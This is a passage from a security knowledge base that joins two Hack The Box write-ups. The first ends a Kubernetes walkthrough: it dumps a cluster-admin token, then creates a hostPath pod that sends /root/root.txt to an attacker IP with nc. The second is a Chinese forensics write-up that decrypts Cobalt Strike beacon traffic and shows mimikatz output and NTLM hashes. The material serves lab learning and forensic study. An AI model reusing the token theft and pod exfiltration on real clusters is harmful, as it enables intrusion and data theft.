Let's get the token of Cluster Administrator -> c-admin-token-tfmp2.

``` bash
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl describe secrets/c-admin-token-tfmp2 -n kube-system
<describe secrets/c-admin-token-tfmp2 -n kube-system
Name:         c-admin-token-tfmp2
Namespace:    kube-system
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: c-admin
              kubernetes.io/service-account.uid: 2463505f-983e-45bd-91f7-cd59bfe066d0

Type:  kubernetes.io/service-account-token

Data
====
ca.crt:     1066 bytes
namespace:  11 bytes
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
```

Let's list the info of the token.

``` bash
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info
<579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info
Kubernetes control plane is running at https://10.96.0.1:443
KubeDNS is running at https://10.96.0.1:443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'
```

Let's check if we create pods or not if we can create pods we can use BadPods.

``` bash
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod
<d4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod
yes
```

Yes we can create pods now let's create a BadPods. where everything is allowed with the help of BadPods.

 - [Bad Pod #1: Everything allowed](https://github.com/BishopFox/badPods/tree/main/manifests/everything-allowed)
 - [everything-allowed-exec-pod.yaml](https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml)

I modify the everything-allowed-exec-pod.yaml file to get the root hash and save the file as luci.yaml.

 - luci.yaml

``` bash
apiVersion: v1
kind: Pod
metadata:
  name: some-pod
  namespace: default
spec:
  containers:
    - name: web
      image: localhost:5000/dev-alpine
      command: ["/bin/sh"]
      args: ["-c", 'cat /root/root.txt | nc -nv 10.10.14.3 9005; sleep 100000']
      volumeMounts:
      - mountPath: /root/
        name: root-flag
  volumes:
  - hostPath:
      path: /root/
      type: ""
    name: root-flag
```

Change the ip and we good to go.

Just tranfer the luci.yaml in target box insode /tmp folder and start your netcat listner to get the root.txt file.

``` bash
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# wget http://10.10.14.3:8000/luci.yaml
<c-6ms8d:/tmp# wget http://10.10.14.3:8000/luci.yaml
--2021-04-23 08:50:56--  http://10.10.14.3:8000/luci.yaml
Connecting to 10.10.14.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 421 [application/octet-stream]
Saving to: 'luci.yaml'

     0K                                                       100% 28.2M=0s

2021-04-23 08:50:57 (28.2 MB/s) - 'luci.yaml' saved [421/421]
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl create -f luci.yaml --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
<TJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
pod/some-pod created
```

and we get our root flag

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# nc -lvp 9005 > root.txt
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9005
Ncat: Listening on 0.0.0.0:9005
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:44441.
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# cat root.txt                                                                                                                                  
e75d930b5ede2d4e5f1dd4f54a00e5e6
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1932.jpg)

If you want reverse shell you can use this.

 - [everything-allowed-revshell-pod.yaml](https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml)

#### Summary of knowledge

 - using wireshark caching unobtainium's traffic flow
 - nodejs file read
 - Prototype Pollution
 - Command Injection
 - chisel port forwarding
 - usage of kubectl
 - inside docker container privesc via Pods

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end Unobtainium -->

</details>




# 加密流量、内存密钥与文件重组

流量解密依赖包结构、会话状态和可验证的密钥材料。本章保留 Cobalt Strike、WinRM 与 Meterpreter 的原解析脚本，把提取、解密、导出和最终文件对应起来。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/forensics/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Beacon 的 AES/HMAC 密钥通过 callback 验证，Meterpreter 另有 XOR 头和 TLV 结构。

WinRM 案例从多个 TCP 流重组账户材料，并记录 pyshark 字段兼容问题。

Response 的残缺 RSA 文件需要同时处理 Base64 对齐、整数参数与最终私钥验证。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [内存密钥与 Beacon 流量解析](#case-decrypt-cs-traffic) | decrypt-cs-traffic | PCAP、Cobalt Strike、AES、HMAC |
| [文件重组与 WinRM 解密](#case-decrypt-winrm-traffic) | decrypt-winrm-traffic | WinRM、PCAP、NTLM、取证 |
| [Meterpreter TLV 与破损 RSA 材料](#case-msf-meterpreter-traffic-decrypt) | msf-meterpreter-traffic-decrypt | Meterpreter、TLV、AES、RSA |

<a id="case-decrypt-cs-traffic"></a>

## 内存密钥与 Beacon 流量解析

原挑战将 PCAP 和进程内存对应起来，通过 callback 验证 AES 与 HMAC 密钥。后续保留解密、文件导出和会话证据。

<p class="kb-provenance">来源 decrypt-cs-traffic · 原记录 2022-01-05 · 8 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-decrypt-cs-traffic">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start decrypt-cs-traffic -->

#### 介绍

本文记录 Hack The Box 取证挑战《Strike Back》的解题过程。



#### 分析pcap流量包和freesteam.dmp文件

使用Wireshark打开capture.pcap文件，发现第4到第10个数据包是freesteam.exe通过HTTP协议被下载到受害者机器上，然后按顺序点击File > Export Objects > HTTP，会打开一个窗口让我们轻松的将freesteam.exe文件从capture.pcap数据包中提取出来。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-cs-traffic.png)

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/Strike_Back]
└─# file freesteam.exe
freesteam.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
```

将freesteam.exe上传到VirusTotal在线网站上，显示它是Cobalt Strike的木马程序

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-cs-traffic1.png)

pcap中有很多的HTTP流量，但被加密了，所以现在转移到.dmp文件了。如果使用file命令，可以看到这是一个MiniDuMP崩溃dump。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/Strike_Back]
└─# file freesteam.dmp
freesteam.dmp: Mini DuMP crash report, 17 streams, Fri Nov 19 20:45:38 2021, 0x469925 type
```

通过使用radare2分析，可以确定这是一个freesteam.exe进程的dump。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/Strike_Back]
└─# r2 freesteam.dmp
[WARN] Invalid or unsupported enumeration encountered 21
[WARN] Invalid or unsupported enumeration encountered 22
[INFO] Parsing data sections for large dumps can take time, please be patient (but if strings ain't your thing try with -z)!
[0x02dd0000]> iSq~exe
0x400000 0x409000 ---- C:\Users\npatrick\Downloads\freesteam.exe
0x400000 0x409000 ---- C:\Users\npatrick\Downloads\freesteam.exe
```

通过搜索"Cobalt Strike memory dump"的变化，可以看到，它可能从freesteam.dmp的流量派生一个解密key，然后将该key应用到pcap文件。

#### 解密cs流量

从dump中提取密钥的方法会因cobalt strike beacon的版本而有所不同。在版本3中，key的前面是一组元数据字符串，除了false positives外，可以很容易提取。这种方法在这个例子中无效，所以假设这个example来自版本4。在本example中，提供了加密的callback，并且可以使用Didier Stevens编写的脚本来测试dump中针对该callback的所有可能的key。一旦成功，它将打印key，然后就可以解密流量了。Stevens的这篇blog详细介绍了这种方法：

 - [Quickpost: Decrypting Cobalt Strike Traffic](https://blog.didierstevens.com/2021/04/26/quickpost-decrypting-cobalt-strike-traffic/)

从76号数据包得到了加密callback, POST /submit.php?id=1909272864 HTTP/1.1。然后使用memory dump提取AES和HMAC key:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-cs-traffic2.png)

``` bash
00000040317639faf73648274ba8a66d11182283f7fa26fe44b3982a36d80f6ffba4949e5ec759fffb372775d2ac002425547a11ddf2e05c2cb914e09ac033f01db0b60c
```

解密脚本github地址:

 - [Beta](https://github.com/DidierStevens/Beta)

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/Strike_Back]
└─# python3 /root/Beta/cs-extract-key.py -c 00000040317639faf73648274ba8a66d11182283f7fa26fe44b3982a36d80f6ffba4949e5ec759fffb372775d2ac002425547a11ddf2e05c2cb914e09ac033f01db0b60c freesteam.dmp
File: freesteam.dmp
Searching for AES and HMAC keys
Searching after sha256\x00 string (0x4048a)
AES key position: 0x00447f81
AES Key:  3ae7f995a2392c86e3fa8b6fbc3d953a
HMAC key position: 0x0044b2a1
HMAC Key: bf2d35c0e9b64bc46e6d513c1d0f6ffe
SHA256 raw key: bf2d35c0e9b64bc46e6d513c1d0f6ffe:3ae7f995a2392c86e3fa8b6fbc3d953a
Searching for raw key
Searching after sha256\x00 string (0x441a49)
AES key position: 0x00447f81
AES Key:  3ae7f995a2392c86e3fa8b6fbc3d953a
HMAC key position: 0x0044b2a1
HMAC Key: bf2d35c0e9b64bc46e6d513c1d0f6ffe
Searching for raw key
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-cs-traffic3.png)

为了解密实际的pcap数据包，必须使用HMAC和AES key与另一个脚本，以获得以下结果:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/Strike_Back]
└─# python3 /root/Beta/cs-parse-http-traffic.py -k bf2d35c0e9b64bc46e6d513c1d0f6ffe:3ae7f995a2392c86e3fa8b6fbc3d953a capture.pcap -e 
Packet number: 12
HTTP response (for request 7 GET)
Length raw data: 14336
HMAC signature invalid
Packet number: 47
HTTP response (for request 23 GET)
Length raw data: 206401
HMAC signature invalid
Packet number: 69
HTTP response (for request 66 GET)
Length raw data: 48
Timestamp: 1637354721 20211119-204521
Data size: 8
Command: 27 GETUID
 Arguments length: 0

Packet number: 76
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 68
Counter: 2
Callback: 16 BEACON_GETUID
b'WS02\\npatrick (admin)'

Packet number: 101
HTTP response (for request 86 GET)
Length raw data: 87648
Timestamp: 1637354781 20211119-204621
Data size: 87608
Command: 89 UNKNOWN
 Arguments length: 87552
 b'MZ\xe8\x00\x00\x00\x00[REU\x89\xe5\x81\xc3)\x1f\x00\x00\xff\xd3\x89\xc3Wh\x04\x00\x00\x00P\xff\xd0
 MD5: 1e4b88220d370c6bc55e213761f7b5ac
Command: 40 UNKNOWN
 Arguments length: 40
 Unknown1: 0
 Unknown2: 1602864
 Pipename: b'\\\\.\\pipe\\8e09448'
 Command: b'net user'
 b''

Packet number: 109
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 724
Counter: 3
Callback: 24 BEACON_OUTPUT_NET
b"Account information for npatrick on \\\\localhost:\n\nUser name                    npatrick\nFull Name                    npatrick\nComment                      Fleet Commander\nUser's Comment               \nCountry code                 0\nAccount active               Yes\nAccount expires              Never\nAccount type                 Admin\n\nPassword last set            221 hours ago\nPassword expires             Yes\nPassword changeable          Yes\nPassword required            Yes\nUser may change password     Yes\n\nWorkstations allowed         \nLogon script                 \nUser profile                 \nHome directory               \nLast logon                   11/19/2021 12:41:23\n"

Packet number: 135
HTTP response (for request 119 GET)
Length raw data: 82528
Timestamp: 1637354843 20211119-204723
Data size: 82501
Command: 44 UNKNOWN
 Arguments length: 82432
 b'MZARUH\x89\xe5H\x81\xec \x00\x00\x00H\x8d\x1d\xea\xff\xff\xffH\x81\xc3T\x16\x00\x00\xff\xd3H\x89\x
 MD5: 851cbc5a118178f5c548e573a719d221
Command: 40 UNKNOWN
 Arguments length: 53
 Unknown1: 0
 Unknown2: 1391256
 Pipename: b'\\\\.\\pipe\\8a4f8bc8'
 Command: b'dump password hashes'
 b''

Packet number: 143
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 548
Counter: 4
Callback: 21 BEACON_OUTPUT_HASHES
b'Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nDefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nJohn Doe:1001:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::\nnpatrick:1002:aad3b435b51404eeaad3b435b51404ee:3c7c8387d364a9c973dc51a235a1d0c8:::\nWDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c81c8295ec4bfa3c9b90dcd6c64727e2:::\n'

Packet number: 190
HTTP response (for request 153 GET)
Length raw data: 438896
Timestamp: 1637354904 20211119-204824
Data size: 438866
Command: 44 UNKNOWN
 Arguments length: 438784
 b'MZARUH\x89\xe5H\x81\xec \x00\x00\x00H\x8d\x1d\xea\xff\xff\xffH\x81\xc3\xb8\x87\x00\x00\xff\xd3H\x8
 MD5: b0cfbef2bd9a171b3f48e088b8ae2a99
Command: 40 UNKNOWN
 Arguments length: 66
 Unknown1: 0
 Unknown2: 2112152
 Pipename: b'\\\\.\\pipe\\673dd5c0'
 Command: b'mimikatz sekurlsa::logonpasswords'
 b''

Packet number: 204
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 4516
Counter: 5
Callback: 32 UNKNOWN

Authentication Id : 0 ; 334782 (00000000:00051bbe)
Session           : Interactive from 1
User Name         : npatrick
Domain            : WS02
Logon Server      : WS02
Logon Time        : 11/19/2021 12:40:19 PM
SID               : S-1-5-21-3301052303-2181805973-2384618940-1002
        msv :
         [00000003] Primary
         * Username : npatrick
         * Domain   : .
         * NTLM     : 3c7c8387d364a9c973dc51a235a1d0c8
         * SHA1     : 44cb46af6b1e8c5873bee400115d1694e650c5b4
        tspkg :
        wdigest :
         * Username : npatrick
         * Domain   : WS02
         * Password : (null)
        kerberos :
         * Username : npatrick
         * Domain   : WS02
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 334736 (00000000:00051b90)
Session           : Interactive from 1
User Name         : npatrick
Domain            : WS02
Logon Server      : WS02
Logon Time        : 11/19/2021 12:40:19 PM
SID               : S-1-5-21-3301052303-2181805973-2384618940-1002
        msv :
         [00000003] Primary
         * Username : npatrick
         * Domain   : .
         * NTLM     : 3c7c8387d364a9c973dc51a235a1d0c8
         * SHA1     : 44cb46af6b1e8c5873bee400115d1694e650c5b4
        tspkg :
        wdigest :
         * Username : npatrick
         * Domain   : WS02
         * Password : (null)
        kerberos :
         * Username : npatrick
         * Domain   : WS02
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 11/19/2021 12:40:12 PM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 46420 (00000000:0000b554)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 11/19/2021 12:40:12 PM
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : WS02$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 46226 (00000000:0000b492)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 11/19/2021 12:40:12 PM
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : WS02$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WS02$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 11/19/2021 12:40:12 PM
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : WS02$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : ws02$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 26445 (00000000:0000674d)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 11/19/2021 12:40:12 PM
SID               : S-1-5-96-0-0
        msv :
        tspkg :
        wdigest :
         * Username : WS02$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 26411 (00000000:0000672b)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 11/19/2021 12:40:12 PM
SID               : S-1-5-96-0-1
        msv :
        tspkg :
        wdigest :
         * Username : WS02$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 25289 (00000000:000062c9)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 11/19/2021 12:40:12 PM
SID               : 
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WS02$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 11/19/2021 12:40:12 PM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : WS02$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : ws02$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Extra packet data: b'\x00\x00\x00'

Packet number: 217
HTTP response (for request 214 GET)
Length raw data: 80
Timestamp: 1637354965 20211119-204925
Data size: 43
Command: 53 LIST_FILES
 Arguments length: 35
 b'\xff\xff\xff\xfe\x00\x00\x00\x1bC:\\Users\\npatrick\\Desktop\\*'
 MD5: 2211925feba04566b12e81807ff9c0b4

Packet number: 224
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 324
Counter: 6
Callback: 22 TODO
b'\xff\xff\xff\xfe'
----------------------------------------------------------------------------------------------------
C:\Users\npatrick\Desktop\*
D       0       11/19/2021 12:24:08     .
D       0       11/19/2021 12:24:08     ..
F       5175    11/11/2021 03:24:13     cheap_spare_parts_for_old_blimps.docx
F       282     11/10/2021 07:02:24     desktop.ini
F       24704   11/11/2021 03:22:16     gogglestown_citizens_osint.xlsx
F       62393   11/19/2021 12:24:10     orders.pdf

----------------------------------------------------------------------------------------------------

Packet number: 237
HTTP response (for request 234 GET)
Length raw data: 80
Timestamp: 1637355025 20211119-205025
Data size: 44
Command: 11 DOWNLOAD
 Arguments length: 36
 b'C:\\Users\\npatrick\\Desktop\\orders.pdf'
 MD5: b25952a4fd6a97bac3ccc8f2c01b906b

Packet number: 254
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 62572
Counter: 7
Callback: 2 DOWNLOAD_START
 parameter1: 0
 length: 62393
 filenameDownload: C:\Users\npatrick\Desktop\orders.pdf

Counter: 8
Callback: 8 DOWNLOAD_WRITE
 Length: 62393
 MD5: 00f542efefccd7a89a55c133180d8581

Counter: 9
Callback: 9 DOWNLOAD_COMPLETE
b'\x00\x00\x00\x00'


Commands summary:
 11 DOWNLOAD: 1
 27 GETUID: 1
 40 UNKNOWN: 3
 44 UNKNOWN: 2
 53 LIST_FILES: 1
 89 UNKNOWN: 1

Callbacks summary:
 2 DOWNLOAD_START: 1
 8 DOWNLOAD_WRITE: 1
 9 DOWNLOAD_COMPLETE: 1
 16 BEACON_GETUID: 1
 21 BEACON_OUTPUT_HASHES: 1
 22 TODO: 1
 24 BEACON_OUTPUT_NET: 1
 32 UNKNOWN: 1
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-cs-traffic4.png)

使用"--help"运行解密脚本，使用-e参数可以将文件解压缩到磁盘。通过这个命令，会打印出相同的结果，但同时还向当前目录添加了几个.vir文件。file命令显示有几个DLL文件、一个ASCII文本文件和一个pdf文件。

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/Strike_Back]
└─# ls
capture.pcap   payload-00f542efefccd7a89a55c133180d8581.vir  payload-851cbc5a118178f5c548e573a719d221.vir
freesteam.dmp  payload-1e4b88220d370c6bc55e213761f7b5ac.vir  payload-b0cfbef2bd9a171b3f48e088b8ae2a99.vir
freesteam.exe  payload-2211925feba04566b12e81807ff9c0b4.vir  payload-b25952a4fd6a97bac3ccc8f2c01b906b.vir
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/challenge/forensics/Strike_Back]
└─# file *.vir
payload-00f542efefccd7a89a55c133180d8581.vir: PDF document, version 1.4, 1 pages
payload-1e4b88220d370c6bc55e213761f7b5ac.vir: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
payload-851cbc5a118178f5c548e573a719d221.vir: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
payload-2211925feba04566b12e81807ff9c0b4.vir: data
payload-b0cfbef2bd9a171b3f48e088b8ae2a99.vir: MS-DOS executable PE32+ executable (DLL) (console) x86-64, for MS Windows
payload-b25952a4fd6a97bac3ccc8f2c01b906b.vir: ASCII text, with no line terminators
```

得到flag，cs流量解密成功:

``` bash
HTB{Th4nk_g0d_y0u_f0und_1t_0n_T1m3!!!!}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-cs-traffic5.png)

<!-- kb:end decrypt-cs-traffic -->

</details>

<a id="case-decrypt-winrm-traffic"></a>

## 文件重组与 WinRM 解密

先按 TCP 流提取 Base64 传输的 NTDS 和 SYSTEM，再还原账户材料与 WinRM 会话。pyshark 字段差异及脚本修订属于复现要点。

<p class="kb-provenance">来源 decrypt-winrm-traffic · 原记录 2022-01-05 · 8 个代码块 · 10 处图片引用</p>

<details class="kb-evidence" id="record-decrypt-winrm-traffic">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start decrypt-winrm-traffic -->

#### 介绍

